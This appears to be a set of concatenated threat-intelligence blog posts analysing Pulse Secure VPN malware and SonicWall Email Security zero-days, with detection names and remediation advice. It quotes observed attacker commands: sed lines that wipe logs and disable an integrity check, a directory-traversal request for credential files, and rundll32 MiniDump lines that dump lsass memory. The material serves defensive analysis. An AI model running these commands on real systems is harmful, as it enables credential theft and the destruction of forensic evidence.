The file dsclslog with SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 is a log wiper utility. The sample provides the usage information:

Usage: dsclslog -f [events|access] -r [Regex1,Regex2,Regex3,...]

The –f flag specifies if the file log.events.vc0 or log.access.vc0 within the directory /home/runtime/logs should be modified. To perform its log cleaning operations the sample first makes two copies of whichever log file was chosen, but uses .vc1 and .vc2 as the extension for the new files. The file with the .vc1 is used to search for entries that match the given entries, and the file with the .vc2 extension is used as a temporary file where the cleaned log is written. After generating both files and log cleaning is finished the sample executes the following commands via the system API to overwrite the original log with the cleaned version, then removes the intermediate:

mv /home/runtime/logs/log.<logtype>.vc2
/home/runtime/logs/log.<logtype>.vc0
rm /home/runtime/logs/log.<logtype>.vc1

THINBLOOD LogWiper Utility Variant

The file clear_log.sh (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9) is a BASH script responsible for zeroing log lines that match a given regex pattern. The sample is similar to the compiled THINBLOOD Log Wiper but edits logs in-place with sed rather than making temporary copies. The sed commands used are:

sed -i "s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g" /data/runtime/logs/<logfile>

sed -i "s/\x<hex_char>\x00[^\x00]*$2[^\x00]*\x09\x<hex_char>\x00//g" /data/runtime/logs/<logfile>

The sample embeds the usage information:

usage: /home/bin/bash clear_log.sh [logfile] [keyword(regex)]

LOCKPICK

The file libcrypto.so (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8) is a shared object containing cryptographic logic from openssl. The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated. There are three paths in this routine for generating a random big number between a given range. The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success. This breaks the random number generation by replacing it with a value the attacker knows in all cases.

LOCKPICK Patcher

The file with the hash b990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4 is a patcher utility responsible for inserting the malicious logic known as LOCKPICK. The patcher starts by running sed on the integrity checker script built into the appliance to insert an early exit routine. This is inserted by the command sed -i '12aexit 0' /home/bin/check_integrity.sh which when applied causes this script to exit without performing its intended checks. After this the sample uses python file read/write APIs to insert long strings of assembly that represent the logic known as LOCKPICK. This file is different from the other patchers we’ve identified in that it is python and specifically targets system integrity routines.

Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device.

Platform(s) 

Detection Name 

Network Security 

Email Security 

Detection On Demand 

Malware File Scanning 

Malware File Storage Scanning 

 

FE_APT_Webshell_PL_HARDPULSE_1
FEC_APT_Webshell_PL_HARDPULSE_1
APT.Webshell.PL.HARDPULSE

FE_APT_Trojan_PL_PULSEJUMP_1
FEC_APT_Trojan_PL_PULSEJUMP_1
FE_Trojan_PL_Generic_1

FE_APT_Trojan_PL_RADIALPULSE_1
FEC_APT_Trojan_PL_RADIALPULSE_1
FE_APT_Trojan_PL_RADIALPULSE_2
FE_APT_Trojan_PL_RADIALPULSE_3
FEC_APT_Trojan_PL_RADIALPULSE_2
FE_APT_Trojan_PL_RADIALPULSE_4
FEC_APT_Trojan_PL_RADIALPULSE_3
FE_APT_Trojan_PL_RADIALPULSE_5
FE_APT_Tool_SH_RADIALPULSE_1
FEC_APT_Tool_SH_RADIALPULSE_1

FE_APT_Trojan_Linux32_PACEMAKER_1
FE_APT_Trojan_Linux_PACEMAKER_1

FE_APT_Backdoor_Linux32_SLOWPULSE_1
FE_APT_Backdoor_Linux32_SLOWPULSE_2 
FE_APT_Trojan_Linux32_SLOWPULSE_1 
FE_APT_Tool_Linux32_SLOWPULSE_1

FE_APT_Webshell_PL_STEADYPULSE_1 
FEC_APT_Webshell_PL_STEADYPULSE_1 
APT.Webshell.PL.STEADYPULSE

FE_APT_Trojan_Linux32_LOCKPICK_1

FE_Webshell_PL_ATRIUM_1 
FEC_Webshell_PL_ATRIUM_1
FE_Trojan_SH_ATRIUM_1

FE_APT_Webshell_PL_SLIGHTPULSE_1
FEC_APT_Webshell_PL_SLIGHTPULSE_1
APT.Webshell.PL.SLIGHTPULSE

FE_APT_Webshell_PL_PULSECHECK_1
FEC_APT_Webshell_PL_PULSECHECK_1

FE_APT_Tool_Linux32_THINBLOOD_1 
FE_APT_Tool_Linux_THINBLOOD_1      
FE_APT_Tool_SH_THINBLOOD_1 
FEC_APT_Tool_SH_THINBLOOD_1
APT.Tool.Linux.THINBLOOD.MVX

FE_APT_Trojan_PL_QUIETPULSE_1
FEC_APT_Trojan_PL_QUIETPULSE_1 
FE_Trojan_SH_Generic_2 
FEC_Trojan_SH_Generic_3

Suspicious Pulse Secure HTTP request (IPS)

Endpoint Security 

Real-Time (IOC)

  • SLOWPULSE (BACKDOOR)
  • PACEMAKER (LAUNCHER)
  • THINBLOOD (UTILITY)

Helix

VPN ANALYTICS [Abnormal Logon]
EXPLOIT - SONICWALL ES [CVE-2021-20021 Attempt] 
EXPLOIT - SONICWALL ES [CVE-2021-20021 Success]
EXPLOIT - SONICWALL ES [CVE-2021-20023 Attempt]
EXPLOIT - SONICWALL ES [CVE-2021-20023 Success]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID 

Title 

A101-596 

Malicious File Transfer - SLOWPULSE, Download, Variant #1 

A101-597 

Malicious File Transfer - SLOWPULSE, Download, Variant #2 

A101-598 

Malicious File Transfer - SLOWPULSE, Download, Variant #3 

A101-599 

Malicious File Transfer - SLOWPULSE, Download, Variant #4 

A101-600 

Malicious File Transfer - SLOWPULSE, Download, Variant #5 

A101-601 

Malicious File Transfer - SLOWPULSE, Download, Variant #6 

A101-602 

Malicious File Transfer - SLOWPULSE, Download, Variant #7 

A101-604 

Malicious File Transfer - Pulse Secure Vulnerability, Utility, Download, Variant #1 

A101-605 

Malicious File Transfer - RADIALPULSE, Download, Variant #1 

A101-606 

Malicious File Transfer - PULSEJUMP, Download, Variant #1 

A101-607 

Malicious File Transfer - HARDPULSE, Download, Variant #1 

A101-608 

Malicious File Transfer - SLIGHTPULSE, Download, Variant #1 

A101-609 

Malicious File Transfer - LOCKPICK, Patcher, Download, Variant #1 

A101-610 

Malicious File Transfer - LOCKPICK, Download, Variant #1 

A101-611 

Malicious File Transfer - ATRIUM, Patcher, Download, Variant #1 

A101-612 

Malicious File Transfer - PACEMAKER, Launcher, Download, Variant #1 

A101-613 

Malicious File Transfer - PACEMAKER, Download, Variant #1 

A101-614 

Malicious File Transfer - QUIETPULSE Utility, Download, Variant #1 

A101-615 

Malicious File Transfer - QUIETPULSE, Download, Variant #1 

A101-616 

Malicious File Transfer - STEADYPULSE, Download, Variant #2 

A101-617 

Malicious File Transfer - STEADYPULSE, Download, Variant #1 

A101-618 

Malicious File Transfer - ATRIUM, Download, Variant #1 

A101-619 

Malicious File Transfer - THINBLOOD, Download, Variant #1 

A101-620 

Malicious File Transfer - THINBLOOD, Download, Variant #2 

A101-621 

Malicious File Transfer - PULSECHECK, Download, Variant #1 

A101-622 

Malicious File Transfer - PULSECHECK, Download, Variant #2 

A104-757 

Host CLI - QUIETPULSE Utility, Check, Variant #1 

A104-758 

Host CLI - QUIETPULSE Utility, Check, Variant #2 

A104-759 

Host CLI - QUIETPULSE Utility, Check, Variant #3 

A104-760 

Host CLI - QUIETPULSE Utility, Check, Variant #4 

Acknowledgements

Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research. The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson and Michael Dockry for their hard work in analysis and blog content.

Zero-Day Exploits in SonicWall Email Security Lead to Enterprise Compromise

20 April 2021 at 21:00

In March 2021, Mandiant Managed Defense identified three zero-day vulnerabilities in SonicWall’s Email Security (ES) product that were being exploited in the wild. These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device. The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files and emails, and move laterally into the victim organization’s network.

The vulnerabilities are being tracked in the following CVEs:

CVE-2021-20021

9.8

Unauthorized administrative account creation

CVE-2021-20022

7.2

Post-authentication arbitrary file upload

CVE-2021-20023

4.9

Post-authentication arbitrary file read

Mandiant has been coordinating with the SonicWall Product Security and Incident Response Team (PSIRT) for the responsible disclosure of this information. SonicWall advises all customers and partners to upgrade to the 10.0.9.6173 Hotfix for Windows users, and the 10.0.9.6177 Hotfix for hardware and ESXi virtual appliance users. SonicWall Hosted Email Security product was automatically updated for all customers and no additional action is required for patching purposes. The hotfixes will also be superseded by the upcoming SonicWall ES 10.0.10 release.

More information can be found by visiting the KB article published by SonicWall.

All patches, upgrades, and hotfixes are available to download on the MySonicWall site.

Overview


Figure 1: SonicWall Email Security ecosystem overview (via SonicWall)

SonicWall Email Security (ES) is an email security solution that “provides comprehensive inbound and outbound protection, and defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” The solution can be deployed as a physical appliance, virtual appliance, software installation, or a hosted SaaS solution.


Figure 2: Sample SonicWall Email Security login page

Like many appliances, the solution provides a rich, web-accessible administrative interface that serves as the main avenue for product configuration. Depending on the customer’s deployment method, this software is potentially capable of running under Windows or Unix because it heavily leverages OS-independent Apache Tomcat and Java. While the solution doesn’t require that this interface be exposed to the internet, internet-wide scanning shows approximately 700 publicly reachable interfaces.

Investigation

In March 2021, Mandiant Managed Defense identified post-exploitation web shell activity on an internet-accessible system within a customer’s environment. Managed Defense isolated the system and collected evidence to determine how the system was compromised.

The system was quickly identified as a SonicWall Email Security (ES) application running on a standard Windows Server 2012 installation. The adversary-installed web shell was being served through the HTTPS-enabled Apache Tomcat web server bundled with SonicWall ES. Due to the web shell being served in the application’s bundled web server, we immediately suspected the compromise was associated with the SonicWall ES application itself.

When we contacted the customer, we learned that the installation of SonicWall ES was the latest version available for download (10.0.9) and that there was no publicly available information pertaining to vulnerabilities or in-the-wild exploitation. To determine if a potential application-level vulnerability was exploited to install the web shell, Mandiant collected endpoint telemetry data.

We soon identified post-exploitation activity aimed at destroying evidence on the system, executed in the context of the web shell. The adversary executed the following command, shortly after installing the web shell:

cmd.exe /c "echo "" > "C:/Program Files (x86)/SonicWallES/logs/webUI/webui.json

Figure 3: The Adversary clearing existing entries in the current “webui.json” log

This command deleted the most recent application-level log entries recorded by the SonicWall ES web application. While clearing log files is a standard anti-forensics technique, understanding the location of internal log files generated by applications is usually overlooked by most spray-and-pray attackers. This added fuel to our suspicion that we were dealing with an adversary who had intimate knowledge of how the SonicWall ES application worked.

Fortunately for us, additional log files and a previously created virtual server snapshot provided enough evidence to track down the vulnerabilities and the adversary’s activities on the host.

Vulnerabilities

CVE-2021-20021

Unauthenticated administrative access through improperly secured API endpoint

The SonicWall Email Security application contains an authenticated control panel to provide administration capabilities. One feature available allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU).

https://<SonicWall ES host>/createou?data=<XML HERE>

Figure 4: A redacted example of the vulnerable endpoint associated with arbitrary user creation

Requests to this form, however, were not verified to require previous authentication to the appliance.

Due to this vulnerability, an adversary with a well-crafted XML document could either GET or POST their document to the application and create a “role.ouadmin” account (Figure 4). This account could then be used to authenticate to the application as an administrator.

CVE-2021-20022

Arbitrary file upload through post-authenticated “branding” feature

Like many enterprise products with a web-based user interface, SonicWall Email Security includes a feature known as "branding" which gives administrators the ability to customize and add certain assets to the interface, such as company logos. These branding assets are managed via packages, and new packages can be created by uploading ZIP archives containing custom text, image files, and layout settings. A lack of file validation can enable an adversary to upload arbitrary files, including executable code, such as web shells.

Once uploaded, these branding package ZIP archives are normally expanded and saved to the <SonicWall ES install path>\data\branding directory. However, an adversary could place malicious files in arbitrary locations, such as a web accessible Apache Tomcat directory, by crafting a ZIP archive containing a file within a sequence of directory traversal notations such as in Figure 5.


Figure 5: Example ZIP archive containing a Zip Slip web shell

It is important to note that the lack of validation which enables Zip Slip attacks is not unique to SonicWall Email Security. As detailed in Snyk's research on the topic, they exist within the many code libraries from which applications have been built.

CVE-2021-20023

Directory-traversal leads to arbitrary file read in post-authenticated "branding" feature

Mandiant confirmed another post-authentication vulnerability in the administrative panel’s built-in "branding" feature which allowed an adversary to retrieve arbitrary files from the host by sending crafted HTTP GET requests to a particular resource. Figure 6 demonstrates the formatting of such request.

https://<SonicWall ES host>/dload_apps?action=<any value>&path=..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcalc.exe&id=update

Figure 6: An example web request which results in downloading the Windows calculator

While the working directory of this branding feature is <SonicWall ES install path>\data\updates, a directory-traversal vulnerability allows an adversary to access files located outside of this directory. As the Apache Tomcat webserver handling this request is operating as the NT AUTHORITY\SYSTEM account, any file on the operating system can be accessed.

Combinations of all three exploits were leveraged interchangeably by the adversary to perform the following actions:

  1. Creation of a new Administrator account on the SonicWall ES device
  2. Exposure of the hashed passwords for existing, locally configured Administrative accounts
  3. The creation of a web shell in an arbitrary directory
  4. Real-time debugging of exploitation success and failure

Post-Exploitation

Upon obtaining administrative access to the appliance through CVE-2021-20021, an adversary sent crafted HTTP requests to the resource /dload_apps, a component of the application's "branding" feature, exploiting CVE-2021-20023. These requests leveraged directory traversal attacks, enabling access to two sensitive XML configuration files located at <SonicWall ES install path>\data\multi_accounts.xml and <SonicWall ES install path>\data\multi_ldap.xml, respectively (Figure 7).

GET /dload_apps?action=REDACTED&path=..%2Fmulti_accounts.xml&id=update

GET /dload_apps?action=REDACTED&path=..%2Fmulti_ldap.xml&id=update

Figure 7: HTTP GET requests exploiting CVE-2021-20023

These files contained details about existing accounts as well as Active Directory credentials used by the application.

Next, the adversary uploaded a ZIP archive containing the BEHINDER JSP web shell from the administrative panel's "branding" page. The crafted ZIP archive used a Zip Slip attack to exploit CVE-2021-20022, which caused the web shell to be written to the web-accessible Apache Tomcat directory <SonicWall ES install path>\Apache Software Foundation\Tomcat 9.0\webapps\SearchEngineRMIService\.

BEHINDER is a publicly available, multi-platform web shell that accepts encrypted command and control (C2) communications. In principle, BEHINDER operates similarly to CHINA CHOPPER, a popular web shell that has been previously detailed by FireEye. Like CHINA CHOPPER, an adversary operates a client-side application to pass commands to the web shell within the body of HTTP requests. As the core functionality of the backdoor is contained within the client-side application, BEHINDER—much like CHINA CHOPPER—has the added benefit of being small, with the variant observed in this investigation weighing in at less than 1 kilobyte (Figure 8).


Figure 8: The BEHINDER web shell observed by Mandiant, which executes AES encrypted and base64 encoded commands

With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account.

After clearing the SonicWall application “webui.json” log file, the adversary escalated their attack to credential harvesting in preparation of moving laterally into the victim's network. The adversary relied on “living off the land” techniques rather than bringing their own tools into the environment, which often has the benefit of potentially avoiding detections from a security product.

We observed the adversary executing the reg save command to dump the HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY registry hives, which contain vital information in recovering password hashes and LSA secrets. Additionally, the adversary obtained in-memory sensitive credentials through the use of built-in memory dumping techniques. The adversary was observed invoking the MiniDump export of the Windows DLL comsvcs.dll to dump both the process memory for lsass.exe and the running instance of Apache Tomcat as seen in Figure 9.

rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass PID> c:\windows\temp\TS_LAS.dmp full

rundll32.exe C:\windows\system32\comsvcs.dll MiniDump <Tomcat PID> C:\windows\temp\TS_FF9DG.dmp full

Figure 9: The adversary acquiring process memory for lsass.exe (MITRE ATT&CK T1003.001) and Apache Tomcat

Mandiant typically observes adversaries employing short and easy-to-type filenames during their operations, simply for efficiency. As such, the aforementioned filenames initially stood out as being peculiar, as a mix of case and symbols would require more effort to type than is often necessary. While this could always be indicative of a tool being used, the slight variations between the two commands—the absence of a comma before the DLL export and the uppercase C:\ drive in the second—suggest that they were manually typed. Considering that the C:\Windows\Temp\ directory on a Windows host also normally contains numerous similarly named temporary files, the adversary was likely taking extra care to evade suspicion should the activity reach the screen of a security analyst.

Continuing their effort to live off the land as much as possible, the adversary located a copy of the archiving utility 7-Zip already present on the host and used it to compress a subdirectory of <SonicWall ES install path>\data\archive\. This directory contains daily archives of emails processed by SonicWall ES—again demonstrating the adversary’s familiarity with the application.

After a several-day lull in activity, the adversary returned to the host, presumably after working to recover passwords from the registry hives and process memory that was dumped earlier. At the time of activity, the victim organization was using the same local Administrator password across multiple hosts in their domain, which provided the adversary an easy opportunity to move laterally under the context of this account—highlighting the value of randomizing passwords to built-in Windows accounts on each host within a domain.

We observed the adversary leveraging Impacket’s publicly available WMIEXEC.PY tool to access several internal hosts, which enabled remote command execution over Microsoft's DCOM protocol via Windows Management Instrumentation (WMI). The adversary managed to briefly perform internal reconnaissance activity prior to being isolated and removed from the environment.

Attribution

Mandiant currently tracks this activity as UNC2682. Ultimately, Mandiant prevented UNC2682 from completing their mission so their objectives of the attack currently remain unknown.

Each investigation conducted by Mandiant includes analysts from our Advanced Practices team who work to correlate activity observed in the thousands of investigations that Mandiant responds to. At times, we do not have the data available to directly attribute intrusion activity to a previously known group. In these cases, we create a new UNC group to track the activity that we observed. An UNC group is a cluster of related cyber intrusion activity, which includes observable artifacts such as adversary infrastructure, tools, and tradecraft, that we are not yet ready to give a classification such as APT or FIN.

For more details on how Mandiant uses UNC groups, see our blog post: DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.

Investigation & Monitoring Tips

Mandiant recommends monitoring of the following endpoint telemetry indicators for potential evidence of compromise:

  • Child processes of the web server process “tomcat” on SonicWall Email Security appliances, particularly cmd.exe
  • The creation or existence of web shells on a server hosting SonicWall Email Security

In addition to standard indicators, Mandiant recommends reviewing SonicWall-related internal configuration files and logs for evidence of previous adversary activity.

Evidence of malicious web requests and their values may be identifiable in the following log files:

  1. The Apache Tomcat logs:
    • C:\Program Files\SonicWallES\Apache Software Foundation\Tomcat 9.0\logs
  2. The SonicWall application logs:
    • C:\Program Files\SonicWallES\logs\webUI\webui.json

Evidence of unauthorized modifications to SonicWall configuration settings can be confirmed in the following files:

  1. The administration user account file:
    • C:\Program Files\SonicWallES\data\multi_accounts.xml
  2. Additional user account files that may have been created in the following directories:
    • C:\Program Files\SonicWallES\data\perhost
    • C:\Program Files\SonicWallES\data\perldap
    • C:\Program Files\SonicWallES\data\perou
  3. Branding related zip files in any of the subdirectories of the following directory:
    • C:\Program Files\SonicWallES\data\branding

Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of SonicWall ES exploitation or post-exploitation activities associated with this adversary.

Product

Signature

FireEye Endpoint Security

  • RUNDLL32.EXE COMSVCS.DLL PROCESS MINIDUMP (METHODOLOGY)
  • SUSPICIOUS REGISTRY EXPORTS (METHODOLOGY)
  • WEB SERVER ECHO REDIRECT (METHODOLOGY)
  • WEB SERVER CMD.EXE TYPE RECON (METHODOLOGY)

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware File Scanning

FireEye Malware File Storage Scanning

  • FE_PUP_Exploit_Linux_ZipSlip_1
  • FE_Exploit_Win_ZipSlip_1
  • FE_Trojan_ZIP_Generic_1
  • FE_Webshell_JSP_BEHINDER_1
  • FEC_Webshell_JSP_BEHINDER_1
  • Webshell.JSP.BEHINDER
  • Webshell.JSP.BEHINDER.MVX

FireEye Helix

  • METHODOLOGY - LFI [Null-Byte URI]
  • WMIEXEC UTILITY [Args]
  • WINDOWS METHODOLOGY [Unusual Web Server Child Process]

Additionally, SonicWall has deployed Intrusion Prevention System (IPS) signatures to SonicWall firewalls to help detect and block attacks that attempt to leverage the aforementioned vulnerabilities. The following signatures have already been applied to SonicWall firewalls with active security subscriptions:

  • IPS Signature: 15520 WEB-ATTACKS SonicWall Email Security (CVE-2021-20022 Vulnerability)
  • IPS Signature: 1067 WEB-ATTACKS Web Application Directory Traversal Attack 7
  • IPS Signature: 15509 WEB-ATTACKS Web Application Directory Traversal Attack 7 -c2

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Name

A101-563

Malicious File Transfer - BEHINDER, Download, Variant #1

A101-566

Web Shell Activity - BEHINDER, Basic Shell Interaction

A101-564

Malicious File Transfer - Zip Slip, Download, EICAR Variant

A101-565

Phishing Email - Malicious Attachment, Zip Slip, Generic Themed Lure

Vulnerability Disclosure

Mandiant disclosed the vulnerabilities CVE-2021-20021 and CVE-2021-20022 to SonicWall Product Security Incident Response Team (PSIRT) on March 26, 2021. The vulnerabilities were acknowledged and validated on March 29, 2021 and a hotfix became available on April 9, 2021. The patch was communicated to impacted SonicWall customers and partners on April 9, 2021.
 
Mandiant disclosed the vulnerability CVE-2021-20023 to SonicWall PSIRT on April 6, 2021. The vulnerability was acknowledged and validated on April 9, 2021 and a patch became available April 19.

To mitigate the three CVEs, Mandiant and SonicWall recommend upgrading Email Security to version 10.0.9.6173 (Windows) or 10.0.9.6177 (Hardware & ESXi Virtual Appliances). Organizations using SonicWall Hosted Email Security (HES) products were automatically updated and no action is required for those customers.

Acknowledgements

SonicWall PSIRT, Charles Carmakal, Ben Fedore, Geoff Ackerman and Andrew Thompson.

Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day

20 April 2021 at 14:00

Executive Summary

  • Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances.
  • This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells.
  • The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector.
  • Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted. A final patch to address the vulnerability will be available in early May 2021.
  • Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues.
  • There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process.

Introduction

Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices. These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families.

The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances. Analysis is ongoing to determine the extent of the activity.

Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners.

As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted.

Details

Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world. In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment.

In many cases, we were not able to determine how actors obtained administrator-level access to the appliances. However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893.

We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance. This was done to accomplish the following:

  1. Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements. We track these trojanized assemblies as SLOWPULSE and its variants.
  2. Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices.
  3. Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem.
  4. Maintain persistence across VPN appliance general upgrades that are performed by the administrator.
  5. Unpatch modified files and delete utilities and scripts after use to evade detection.
  6. Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression.

In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization. Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630. We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects. We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this.

Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors. It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools. Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex.

SLOWPULSE

During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE. This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so. Three of the four discovered variants enable the attacker to bypass two-factor authentication. A brief overview of these variants is covered in this section, refer to the Technical Annex for more details.

SLOWPULSE Variant 1

This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker. The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication patch if the provided password matches the attacker's chosen backdoor password.

LDAP Auth Bypass

The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure. This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication.


Figure 1: LDAP Auth Bypass

RADIUS Two Factor Auth Bypass

The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure. This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server. If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication.


Figure 2: Radius-2FA Bypass

SLOWPULSE Variant 2

ACE Two Factor Auth Credential Logging

This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword. Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker.


Figure 3: ACE Auth Credential Log

SLOWPULSE Variant 3

ACE Two Factor Auth Bypass

This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword. The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided. With this modification the attacker can spoof successful authentication.


Figure 4: ACE Auth Bypass Variant

SLOWPULSE Variant 4

RealmSignin Two Factor Auth Bypass

This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN. The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication. We believe that this may be a two-factor authentication bypass.


Figure 5: RealmSignIn 2FA Auth Bypass

Attribution

We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families. Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances.

Mandiant is able to assess that:

  • UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021.
    • We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5
  • UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP.
    • We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group.
  • We do not have enough information about the use of LOCKPICK to make an attribution statement.
UNC2630

UNC2630’s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5. We have also uncovered limited evidence to suggest that UNC2630 operates on behalf of the Chinese government. Analysis is still ongoing to determine the full scope of the activity that maybe related to the group.

Although we are not able to definitively connect UNC2630 to APT5, or any other existing APT group, a trusted third party has uncovered evidence connecting this activity to historic campaigns which Mandiant tracks as Chinese espionage actor APT5. While we cannot make the same connections, the third party assessment is consistent with our understanding of APT5 and their historic TTPs and targets.

APT5 has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances. They have also consistently targeted defense and technology companies in the U.S., Europe, and Asia.

  • As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform.
  • In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities. During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers.
  • Also during this time, APT5 stole files related to military technology from a South Asian defense organization. Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs).
  • APT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S.

Recommendations

All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible. Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021. If a device fails this Integrity Assurance utility, network administrators should follow the instructions here and contact their Pulse CSR for additional guidance.

Organizations should examine available forensic evidence to determine if an attacker compromised user credentials. Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability.

